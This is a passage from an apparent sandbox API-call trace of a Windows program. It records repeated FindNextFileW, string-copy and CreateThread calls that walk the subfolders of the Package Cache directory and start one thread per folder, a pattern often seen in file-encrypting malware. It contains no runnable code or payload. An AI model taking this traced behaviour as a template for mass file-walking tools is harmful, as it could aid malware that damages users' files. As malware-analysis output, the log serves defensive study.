ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0066.026] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1 [0066.026] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1 [0066.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x443ac0 [0066.026] wcscpy (in: _Dest=0x443ac0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.026] wcscat (in: _Dest=0x443ac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.026] wcscat (in: _Dest=0x443ac0, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0066.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d8 [0066.027] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0066.027] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1 [0066.027] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1 [0066.027] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ab388 [0066.027] wcscpy (in: _Dest=0x97ab388, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.027] wcscat (in: _Dest=0x97ab388, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.027] wcscat (in: _Dest=0x97ab388, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0066.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97ab388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0066.029] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0066.029] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1 [0066.029] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1 [0066.029] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x443b70 [0066.029] wcscpy (in: _Dest=0x443b70, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.029] wcscat (in: _Dest=0x443b70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.029] wcscat (in: _Dest=0x443b70, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0066.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c [0066.030] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0066.030] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1 [0066.030] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1 [0066.030] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ab420 [0066.030] wcscpy (in: _Dest=0x97ab420, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.030] wcscat (in: _Dest=0x97ab420, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.030] wcscat (in: _Dest=0x97ab420, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0066.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97ab420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0066.031] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0066.031] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1 [0066.031] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1 [0066.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443c20 [0066.031] wcscpy (in: _Dest=0x443c20, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.031] wcscat (in: _Dest=0x443c20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.031] wcscat (in: _Dest=0x443c20, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0066.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60 [0066.033] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0066.033] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2=".") returned 1 [0066.033] wcscmp (_String1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", _String2="..") returned 1 [0066.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443cd0 [0066.033] wcscpy (in: _Dest=0x443cd0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.033] wcscat (in: _Dest=0x443cd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.033] wcscat (in: _Dest=0x443cd0, _Source="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0066.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0066.034] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0066.034] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2=".") returned 1 [0066.034] wcscmp (_String1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", _String2="..") returned 1 [0066.034] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443d80 [0066.034] wcscpy (in: _Dest=0x443d80, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.034] wcscat (in: _Dest=0x443d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.034] wcscat (in: _Dest=0x443d80, _Source="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0066.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c0 [0066.035] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0066.035] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1 [0066.035] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1 [0066.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x443e30 [0066.035] wcscpy (in: _Dest=0x443e30, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.036] wcscat (in: _Dest=0x443e30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.036] wcscat (in: _Dest=0x443e30, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0066.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c [0066.037] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0066.037] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1 [0066.037] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1 [0066.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x443ee0 [0066.037] wcscpy (in: _Dest=0x443ee0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.037] wcscat (in: _Dest=0x443ee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.037] wcscat (in: _Dest=0x443ee0, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0066.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100c [0066.038] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0066.039] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1 [0066.039] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1 [0066.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x443f90 [0066.039] wcscpy (in: _Dest=0x443f90, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.039] wcscat (in: _Dest=0x443f90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.039] wcscat (in: _Dest=0x443f90, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0066.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8 [0066.040] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0066.040] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2=".") returned 1 [0066.040] wcscmp (_String1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", _String2="..") returned 1 [0066.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x444040 [0066.040] wcscpy (in: _Dest=0x444040, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.040] wcscat (in: _Dest=0x444040, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.040] wcscat (in: _Dest=0x444040, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0066.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc [0066.041] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0066.041] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1 [0066.042] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1 [0066.042] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ab4b8 [0066.042] wcscpy (in: _Dest=0x97ab4b8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.042] wcscat (in: _Dest=0x97ab4b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.042] wcscat (in: _Dest=0x97ab4b8, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0066.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97ab4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4 [0066.043] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0066.043] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1 [0066.043] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1 [0066.043] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x4440f0 [0066.043] wcscpy (in: _Dest=0x4440f0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.043] wcscat (in: _Dest=0x4440f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.043] wcscat (in: _Dest=0x4440f0, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0066.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4440f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4 [0066.044] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0066.044] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2=".") returned 1 [0066.044] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2="..") returned 1 [0066.044] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x4441a0 [0066.044] wcscpy (in: _Dest=0x4441a0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.044] wcscat (in: _Dest=0x4441a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.044] wcscat (in: _Dest=0x4441a0, _Source="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0066.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4441a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0066.046] FindNextFileW (in: hFindFile=0x4400e0, lpFindFileData=0x42e6c0 | out: lpFindFileData=0x42e6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0066.046] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2=".") returned 1 [0066.046] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2="..") returned 1 [0066.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ab550 [0066.046] wcscpy (in: _Dest=0x97ab550, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0066.046] wcscat (in: _Dest=0x97ab550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0066.046] wcscat (in: _Dest=0x97ab550, _Source="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0066.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97ab550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78 [0066.047] FindNextFileW (in: hFindFile=0x4400e0, 